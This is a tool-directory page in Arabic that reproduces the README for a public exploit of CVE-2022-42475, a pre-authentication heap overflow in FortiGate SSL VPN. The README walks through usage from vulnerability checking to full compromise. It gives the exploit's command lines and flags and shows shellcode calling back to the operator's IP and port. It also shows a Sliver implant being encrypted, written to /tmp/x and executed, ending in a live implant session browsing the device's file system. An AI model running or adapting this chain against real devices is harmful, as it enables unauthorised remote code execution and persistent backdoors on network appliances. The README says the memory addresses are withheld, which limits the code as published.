Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-42475 — استغلال لـ CVE-2022-42475، وهو تجاوز سعة الكومة قبل المصادقة في منتجات شبكات Fortinet | Kitploit
أدوات/GitHubGitHub/0xhaggis/cve-2022-42475
تحليل الثغرات الأمنيةالاستغلالالفريق الأحمرأداة الوصول عن بعدتطوير الحمولاتاستغلال الملفات الثنائية
GitHub0xhaggis/cve-2022-42475

CVE-2022-42475

استغلال لـ CVE-2022-42475، وهو تجاوز سعة الكومة قبل المصادقة في منتجات شبكات Fortinet

عرض المستودع
331منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-42475

خلفية

هذا هو الاستغلال لمنشور المدونة هنا: https://bishopfox.com/blog/exploit-cve-2022-42475

النسخة المنقحة

هذه النسخة من الاستغلال لن تعمل بدون قيامك، أيها المخترق، بتوفير عناوين الذاكرة اللازمة لـ ROP gadgets وغيرها. العمل لتحديد هذه البيانات هو معلومات سرية ومملوكة لـ Bishop Fox ولن أستطيع (ولا يمكنني) نشرها إلى جانب هذا الاستغلال. أثق أنك تفهم!

أنماط التشغيل

  • التحقق فقط، بدون استغلال. يحدد ما إذا كان الهدف ضعيفًا. لا يوجد حمولة ولا شيلكود.
  • استغلال، ولكن تحقق فقط. تشغيل شيلكود "ping" للربط العكسي غير ضار للتحقق من إمكانية استغلال الهدف.
  • استغلال مع مُرحِّل ثنائي للربط العكسي. يتصل الشيلكود بالاستغلال، ويقوم بتنزيل ملف ثنائي مُشفَّر يوفره المشغل (عادة https://github.com/BishopFox/Sliver)، ويفك تشفيره، ثم يستدعي execve(binary_file).

ملاحظة: في الوقت الحالي، يعمل وضع "التحقق فقط" على جميع الإصدارات المعروفة من FortiOS. ومع ذلك، تعمل الاستغلالات فقط ضد FortiOS 6.0.4 على أجهزة 100D. لم أعد أعمل في BF وبالتالي لا يمكنني نشر الاستغلال الموسع الذي يدعم حوالي 18 ألف هدف.

المتطلبات

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

التحقق فقط

لن يقوم هذا بأي محاولة لاستغلال الثغرة، بل يؤدي إلى تعطيلها (يعاد تشغيل خادم SSL VPN عن بُعد تلقائيًا وفوريًا). يتم اكتشاف التعطل بطريقة استكشافية ويُبلغ عنه للمشغل.

شغّله باستخدام علامة التحقق -v:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: ثغرة RCE عن بُعد قبل المصادقة في FortiGate ]--
    --[ فريق Cosmos من Bishop Fox X                               ]--

[+] التشغيل في وضع التحقق فقط. لا يوجد RCE.
[>] اختبار ما إذا كان الهدف ضعيفًا (قد يستغرق 10 ثوانٍ)
[+] يبدو أن الهدف '192.168.0.10:8443' ضعيف

استغلال مع تحقق (الميزة متاحة حاليًا فقط لـ FortiOS 6.0.4 على أجهزة 100D)

سيؤدي هذا إلى تفعيل الثغرة، نشر سلسلة ROP، والانتقال إلى الشيلكود. الشيلكود غير ضار ويعمل كالتالي:

  • يتصل الاستغلال بالهدف ويُفعِّل الثغرة لتنفيذ الشيلكود
  • يتصل الشيلكود مرة أخرى بعنوان IP الخاص بالمشغل: المنفذ
  • يرسل الشيلكود بايت "hello" واحد إلى الاستغلال: 0xbf
  • يُسلِّم الاستغلال حمولة اختبار صغيرة مشفرة إلى الشيلكود (مفتاح AES عشوائي في كل جولة)
  • يفك الشيلكود تشفير الحمولة ويحفظها في /tmp/x على جهاز FortiGate
  • يرسل الشيلكود بايت 0xbf آخر واحد إلى الاستغلال إذا نجح فك التشفير
  • يقرأ الاستغلال البايت ويؤكد تنفيذ الكود.

العلامات:

root@kitploit:~
-t           الهدف: المضيف/IP
-p           منفذ الهدف
-e           وضع الاستغلال
-c           وضع الربط العكسي فقط
-H و -P      عنوان IP الخاص بالمشغل: المنفذ (مطلوب)
-s           إصدار برنامج FortiOS (مطلوب)
-m           طراز الجهاز الذي يعمل عليه FortiOS
-d           تفعيل التصحيح

مثال حيث نختار كلاً من إصدار البرنامج 6.0.4 وطراز الجهاز 100D:

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: ثغرة RCE عن بُعد قبل المصادقة في FortiGate ]--
    --[ فريق Cosmos من Bishop Fox X                               ]--

[+] إنشاء مفتاح AES عشوائي بطول 128 بت لتشفير الحمولة
[+] تشفير الحمولة...
[+] استخدام شيلكود مخبأ. عدّل ./x.py (ابحث عن 'shellcode.s') لفرض التحديث.
[+] تم التهيئة للربط العكسي إلى 192.168.0.99:443
[+] بدء مستمع الحمولة المشفرة...
[+] التحضير للاستغلال...
[+] إرسال الطلب!
[+] استيراد الأدوات من 'exploit_data.json'
[<] تم ربط المستمع بالمنفذ 443، في انتظار الربط العكسي...
[+] التحقق من الأدوات...
[!] لم يتم تعريف أي طرازات أجهزة وظيفية لـ FortiOS '5.2.14'. تم الإزالة.
[!] لم يتم تعريف أي طرازات أجهزة وظيفية لـ FortiOS '5.6.9'. تم الإزالة.
[+] تم استيراد 797 هدفًا:
[-]   6.0.4     [  1 هدف  ]   <=== 100D
[-]   5.2.14    [ 47 هدفًا ]
[-]   5.6.9     [ 60 هدفًا ]
[-]   6.0.13    [ 68 هدفًا ]
[-]   6.0.14    [ 67 هدفًا ]
[-]   6.0.15    [ 58 هدفًا ]
[-]   6.0.8     [ 67 هدفًا ]
[-]   6.2.11    [ 69 هدفًا ]
[-]   6.2.7     [ 75 هدفًا ]
[-]   6.4.10    [ 71 هدفًا ]
[-]   6.4.2     [ 62 هدفًا ]
[-]   6.4.3     [ 61 هدفًا ]
[-]   6.4.6     [ 73 هدفًا ]
[-]   6.4.9     [ 72 هدفًا ]
[-]   7.0.4     [ 53 هدفًا ]
[+] بدء الاستغلال
[<] طلب وارد من 192.168.0.10:22470
[<] تم استقبال حزمة الترحيب من الهدف!! رقم الطراز: 100D
[<] إرسال حمولة مشفرة بحجم 36 بايت
[<] انتهى إرسال الحمولة (36 بايت)، في انتظار الرد...
[<] تم استقبال الرد المتوقع ('100D') من 192.168.0.10
[<] الهدف ضعيف بثقة 100%.
[+] تم كل شيء!

إذا حذفت -m لاختيار طراز الجهاز، فسيقوم الاستغلال بتجربة جميع أهداف الجهاز تقريبًا لإصدار البرنامج المحدد.

حرب نووية شاملة

  • يحدد المشغل موقع ملف Sliver الثنائي (قائم على Linux)
  • يتصل الاستغلال بالهدف ويُفعِّل الثغرة لتنفيذ الشيلكود
  • يتصل الشيلكود مرة أخرى بعنوان IP الخاص بالمشغل: المنفذ
  • يرسل الشيلكود بايت "hello" واحد إلى الاستغلال: 0xbf
  • يشفر الاستغلال ملف Sliver الثنائي ويرسله إلى الشيلكود
  • يفك الشيلكود تشفير الملف الثنائي ويحفظه في /tmp/x
  • يرسل الشيلكود بايت "نجاح" 0xbf إلى الاستغلال
  • يقرأ الاستغلال البايت ويؤكد تنفيذ الكود
  • يستدعي الشيلكود execve("/tmp/x")
  • ???
  • ربح!

العلامات:

root@kitploit:~
-t           الهدف: المضيف/IP
-p           منفذ الهدف
-e           وضع الاستغلال
-f filename  المسار إلى الملف الثنائي لتنفيذه على الهدف
-H و -P      عنوان IP الخاص بالمشغل: المنفذ للربط العكسي (مطلوب)
-s           إصدار برنامج FortiOS (مطلوب)
-m           طراز الجهاز الذي يعمل عليه FortiOS
-d           تفعيل التصحيح

Sliver:

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

جميع المخترقين ينالون سلاحًا حيًا
[*] الخادم v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] مرحبًا بك في شيل Sliver، اكتب 'help' للحصول على الخيارات

[server] sliver > mtls -l 8888

[*] بدء مستمع mTLS ...

[*] تم بدء الوظيفة #1 بنجاح

الاستغلال:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: ثغرة RCE عن بُعد قبل المصادقة في FortiGate ]--
    --[ فريق Cosmos من Bishop Fox X                               ]--

[+] سيحاول الاستغلال تنفيذ execve("implant5") على الهدف
...
[<] الهدف ضعيف بثقة 100%.
[+] تم كل شيء.

والعودة إلى Sliver:

root@kitploit:~
[*] الجلسة d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - الإثنين, 06 مارس 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] الجلسة النشطة implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

معرف تسجيل الدخول: <خطأ>

[server] sliver (implant5) > ls

/ (19 عنصرًا, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  الثلاثاء 31 يناير 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  الثلاثاء 31 يناير 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  الثلاثاء 31 يناير 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  الثلاثاء 31 يناير 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  الثلاثاء 31 يناير 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    الإثنين 07 يناير 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    الإثنين 07 يناير 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   الإثنين 07 يناير 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  الإثنين 07 يناير 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    الإثنين 07 يناير 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  الثلاثاء 31 يناير 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  الثلاثاء 31 يناير 05:23:13 +0000 2023
drwx------   root                <dir>  الإثنين 07 يناير 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  الثلاثاء 31 يناير 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  الإثنين 07 يناير 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  الثلاثاء 31 يناير 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  الثلاثاء 31 يناير 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  الثلاثاء 31 يناير 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  الثلاثاء 31 يناير 05:24:07 +0000 2023

لاحظ أن Sliver يُرجع <خطأ> لأن FortiOS هو نظام Linux نوعًا ما، ولا يعمل دائمًا بالطريقة المتوقعة. هذه مشكلة مع FortiOS، وليست مع Sliver.

إصدارات أخرى قريبًا

لم أعد أعمل في Bishop Fox، لذا ستحتاج إلى متابعة GitHub الخاص بـ BF للحصول على تحديثات حول هذا.

تنزيل الأداة